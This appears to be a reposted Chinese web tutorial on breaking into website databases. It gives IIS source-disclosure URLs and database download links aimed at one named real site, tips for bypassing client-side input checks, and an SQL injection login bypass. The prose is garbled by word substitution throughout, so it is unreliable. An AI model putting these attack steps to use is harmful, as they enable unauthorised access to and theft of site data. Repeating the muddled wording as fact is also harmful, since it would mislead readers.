设为主页 | 加入收藏 | 繁體中文

数据库入侵方法

  一样平常的web server都要利用数据库来存储信息,几乎所有的网站都要用数据库。这样就存在着两种大概,一种是利用小型数据库,如aceess,一样平常就贮存在当地。另一种是利用大型数据库,如SQL server,Oracle这时候一样平常就放在另一台机器上,然后通过ODBC来拜访它。
  由于页面每每需要查询种种信息,修改用户信息等操作,本质上便是和数据库打交道了。这样就给合法用户留下利用的时机了。
  1.对当地数据库的打击。
  对当地数据库的打击一种方法便是下载数据库,然后呢,你就可以翻开这个数据库得到外部的用户和帐号了,以及别的有用的信息。
  下面以“水莲会”为例:
  经过扫描,得知www.suilian.net利用的是虚拟主机,利用的是WIndows NT+IIS4.0.扫描器你可以利用twwwscan或者别的,实在功效都大同小异。
  在对IIS打击时如果可以或许看到ASP源代码,那么成功的大概性就很大了。
  经过测试,发明此站点存在源代码暴露毛病。。。
  各人可以尝尝:
  http://www.suilian.net/null.htw?CiWebhitsfile=/maillist.asp%20&CiRestriction=
  none&CiHiliteType=full
  http://www.suilian.net/null.htw?CiWebhitsfile=/index.asp%20&CiRestriction=
  none&CiHiliteType=full
  http://www.suilian.net/null.htw?CiWebhitsfile=/chat/DetNew.asp%20&CiRestriction=
  none&CiHiliteType=full
  http://www.suilian.net/null.htw?CiWebhitsfile=/chat/detail.asp%20&CiRestriction=
  none&CiHiliteType=full
  http://www.suilian.net/null.htw?CiWebhitsfile=/chat/topic4.asp%20&CiRestriction=
  none&CiHiliteType=full
  http://www.suilian.net/null.htw?CiWebhitsfile=/chat/titlefrm.asp%20&CiRestriction=
  none&CiHiliteType=full
  http://www.suilian.net/null.htw?CiWebhitsfile=/chat/titlenew.asp%20&CiRestriction=
  none&CiHiliteType=full
  看见了什么?
  固然源代码泄露的毛病有很多种,这里就纷歧一枚举,你可以去查毛病手册。
  如今你就可以去查看ASP源代码了。
  如果你对ASP不熟习,我简单介绍一下。
  ASP是嵌在<%和%>之间。一样平常利用VBScript或者java script书写代码。
  看这个例子利用VBScript书写的:
  <%
  ...
  set cn1=server.createobject("ADODB.connection")
  dbpath=server.mappath("user.mdb")
  cn1.open "driver={microsoft access driver (*.mdb)};dbq="&dbpath
  set rs=server.createobject("ADODB.recordset")
  rs.open "select * from yhb",cn1,adopenkeyset
  ...
  %>
  这是一个典范的与数据库毗连的代码。
  依次的步调为:
  创立毗连对象,
  设置数据库途径,
  翻开数据库,
  设置记载对象,
  取记载。
  这里我们就可以晓得数据库的类型,称号和途径,这里是在以后目录下。
  还可以晓得数据库的表名和字段称号。
  有履历的程序员一样平常不会把数据库名直接放在代码里,而是在ODBC里设置数据源,以增加安全性。
  然后就发明存在
  d:\S\suilian\chat\news.mdb
  d:\S\suilian\topic22.mdb等数据库
  你只要利用
  http://www.suilian.net/chat/news.mdb
  http://www.suilian.net/topic22.mdb
  就可以把它下载下来...
  1。打破script的限定。
  比方,某网页上有一文本框,允许你输出用户称号,但是它限定你只能输出4个字符。许多程序都是在客户端限定,然后用msgbox弹堕落误提示。如果你打击时需要打破此限定,只需要在当地做一个一样的主页,只是取消了限定,通常是去失VBscript或IavaScript的限定程序,就可以成功打破。
  如果是java script做的,干脆临时把浏览器的脚本支持关失。如果是   有履历的程序员每每在程序后台再做一遍检验,如果有错误就用response.write或类似的语句输堕落误。
  2。对SQL的打破
  比方某网页需要你输出用户称号和口令,这样就有两个文本框等待你的输出,如今我们假定有一用户adam,我们不晓得他的口令,却想以他的身份登陆。
  正常情况下,我们在第一个文本框输出adam,第二个文本框输出1234之类的暗码,如果暗码正确就可以进入,不然报错。
  程序中的查询语句大概是:
  sql="select * from user where username='"&text1.values&"' and passwd= '"&text2.values&"'"
  执行时候便是
  select * from user where username='adam' and passwd='1234'
  好了,
  如果我们在text2里输出的不是1234,而是1234'"&"'or 1=1
  我们的sql语句就成了,
  select * from user where username='adam' and passwd='1234' or 1=1 


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: